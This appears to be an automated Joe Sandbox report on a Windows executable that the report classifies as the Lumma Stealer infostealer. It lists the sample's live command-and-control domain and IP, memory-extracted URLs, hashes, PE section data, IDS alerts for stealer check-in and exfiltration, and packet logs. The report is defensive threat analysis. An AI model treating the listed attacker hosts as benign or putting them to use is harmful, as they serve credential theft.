https://observerfry.lat/(Vc	wIgjKoo9iI.exe, 00000000.00000002.2316070880.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306532822.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2270646307.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2311827697.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/	wIgjKoo9iI.exe, 00000000.00000003.2311827697.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2230682745.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/Ws	wIgjKoo9iI.exe, 00000000.00000003.2228362688.0000000005169000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2231490804.0000000005169000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	wIgjKoo9iI.exe, 00000000.00000003.2206500352.0000000005168000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	wIgjKoo9iI.exe, 00000000.00000003.2206169685.000000000528D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/%	wIgjKoo9iI.exe, 00000000.00000003.2156410789.0000000000A58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://observerfry.lat/apit	wIgjKoo9iI.exe, 00000000.00000003.2312256078.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000002.2315881181.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro0	wIgjKoo9iI.exe, 00000000.00000003.2230777374.0000000000A58000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2230881579.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2156410789.0000000000A58000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2256178893.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306688619.0000000000AAA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://observerfry.lat/0Vk	wIgjKoo9iI.exe, 00000000.00000002.2316070880.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2311827697.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	wIgjKoo9iI.exe, 00000000.00000003.2228230125.0000000005161000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	wIgjKoo9iI.exe, 00000000.00000003.2228230125.0000000005161000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	wIgjKoo9iI.exe, 00000000.00000003.2206169685.000000000528D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.mozilla.or	wIgjKoo9iI.exe, 00000000.00000003.2206029353.0000000005182000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	wIgjKoo9iI.exe, 00000000.00000003.2228230125.0000000005161000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat:443/api	wIgjKoo9iI.exe, 00000000.00000003.2312256078.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000002.2315881181.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306734587.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.36.201	observerfry.lat	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580381
Start date and time:	2024-12-24 12:38:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	wIgjKoo9iI.exe renamed because original name is a hash value
Original Sample Name:	1c22d90d4f3c0be6834e0777c7b4d18a.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target wIgjKoo9iI.exe, PID 6392 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: wIgjKoo9iI.exe

Simulations

Behavior and APIs

Time	Type	Description
06:39:04	API Interceptor	8x Sleep call for process: wIgjKoo9iI.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.36.201	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse
	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse
	bG89JAQXz2.exe	Get hash	malicious	LummaC	Browse
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse
	4W3cB5WEYH.exe	Get hash	malicious	LummaC	Browse
	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse
	NxqDwaYpbp.exe	Get hash	malicious	LummaC	Browse
	2jx1O1t486.exe	Get hash	malicious	LummaC, Stealc	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
observerfry.lat	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	bG89JAQXz2.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	2oM46LNCOo.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	y001L6lEK4.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	tTGxYWtjG5.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	iaLId0uLUw.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	4W3cB5WEYH.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.199.72

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	104.20.86.8
	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	104.20.86.8
	Audio02837498.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	SW_48912.scr.exe	Get hash	malicious	FormBook	Browse	104.21.80.1
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	104.21.67.146
	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	bG89JAQXz2.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	162.159.128.70

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	104.21.36.201
	RTD20241038II Listed Parts And Quotation Request ,pdf.scr.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.36.201
	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	bG89JAQXz2.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	3zg6i6Zu1u.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	oiF7u78bY2.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	L5Kgf2Tvkc.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	LVDdWBGnVE.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.36.201
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.50607725991172
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	wIgjKoo9iI.exe
File size:	2'931'200 bytes
MD5:	1c22d90d4f3c0be6834e0777c7b4d18a
SHA1:	c1700cda1dbd134cbc353f6a5c75863a36ff8fef
SHA256:	c4a413d00c7eda2aedbafe67afeb0f887531b01335fd59ce51d9901f829aedfe
SHA512:	e802c6dfe35239edbd867aa4c2b0d9feb13a1ff017e079d2a14810abaf963879b601f9de1919e2586c8138ed34d46ee615c3ceb5befc5bba913b4be441470320
SSDEEP:	49152:yLAf12U1ev5LTQPYAspIEU3skhieZqYyEmNVqSG:yk0U1wxUPYzSjhimEHqSG
TLSH:	43D55BAAB54972CBD48E1679B927CE82585D47F9073049C3A82CB47A7F63CC136F5C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig............................../...........@.........................../.....C.-...@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6f8000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5768CB9CFAh
sets byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F5768CBBCF5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	0b9ceb4d208389c127ca9fbb13485c7e	False	0.9994702308006536	data	7.986463733135728	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ibdqnddj	0x55000	0x2a2000	0x2a1e00	ccd9c076884d61d06d31f46c87fe8f6f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
izikvcoa	0x2f7000	0x1000	0x400	c53b29a229c24956803feb64627ce4a5	False	0.76171875	data	6.010532758354704	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2f8000	0x3000	0x2200	76c00b0147071c554e6eedafd9281a5d	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T12:39:04.771997+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49707	104.21.36.201	443	TCP
2024-12-24T12:39:05.529811+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49707	104.21.36.201	443	TCP
2024-12-24T12:39:05.529811+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49707	104.21.36.201	443	TCP
2024-12-24T12:39:06.751096+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49708	104.21.36.201	443	TCP
2024-12-24T12:39:07.523508+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49708	104.21.36.201	443	TCP
2024-12-24T12:39:07.523508+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49708	104.21.36.201	443	TCP
2024-12-24T12:39:09.117133+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	104.21.36.201	443	TCP
2024-12-24T12:39:11.568156+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49711	104.21.36.201	443	TCP
2024-12-24T12:39:13.947082+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	104.21.36.201	443	TCP
2024-12-24T12:39:16.492738+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49714	104.21.36.201	443	TCP
2024-12-24T12:39:17.296304+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49714	104.21.36.201	443	TCP
2024-12-24T12:39:18.961229+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49720	104.21.36.201	443	TCP
2024-12-24T12:39:23.254435+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49740	104.21.36.201	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 12:39:03.547214031 CET	49707	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:03.547276020 CET	443	49707	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:03.547370911 CET	49707	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:03.550328016 CET	49707	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:03.550347090 CET	443	49707	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:04.771898031 CET	443	49707	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:04.771996975 CET	49707	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:04.775706053 CET	49707	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:04.775717974 CET	443	49707	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:04.775939941 CET	443	49707	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:04.816802025 CET	49707	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:04.821958065 CET	49707	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:04.821985960 CET	49707	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:04.822150946 CET	443	49707	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:05.529779911 CET	443	49707	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:05.529866934 CET	443	49707	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:05.529932976 CET	49707	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:05.531704903 CET	49707	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:05.531728029 CET	443	49707	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:05.539478064 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:05.539530039 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:05.539614916 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:05.539875031 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:05.539891958 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:06.750996113 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:06.751096010 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:06.752245903 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:06.752259970 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:06.752492905 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:06.753694057 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:06.753715992 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:06.753758907 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.523452997 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.523509979 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.523557901 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.523595095 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.523658991 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.523679972 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.523680925 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.523715019 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.523753881 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.531605959 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.539889097 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.540021896 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.540047884 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.540062904 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.540107965 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.642995119 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.647147894 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.647201061 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.647217035 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.691883087 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.714940071 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.718683004 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.718776941 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.718822956 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.718938112 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.718938112 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.718972921 CET	49708	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.718993902 CET	443	49708	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.901943922 CET	49710	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.901976109 CET	443	49710	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:07.902089119 CET	49710	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.902349949 CET	49710	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:07.902364969 CET	443	49710	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:09.117048025 CET	443	49710	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:09.117132902 CET	49710	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:09.118248940 CET	49710	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:09.118258953 CET	443	49710	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:09.118586063 CET	443	49710	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:09.119795084 CET	49710	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:09.119946957 CET	49710	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:09.119982958 CET	443	49710	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:10.210319996 CET	443	49710	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:10.210450888 CET	443	49710	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:10.210509062 CET	49710	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:10.210669994 CET	49710	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:10.210692883 CET	443	49710	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:10.354180098 CET	49711	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:10.354222059 CET	443	49711	104.21.36.201	192.168.2.6
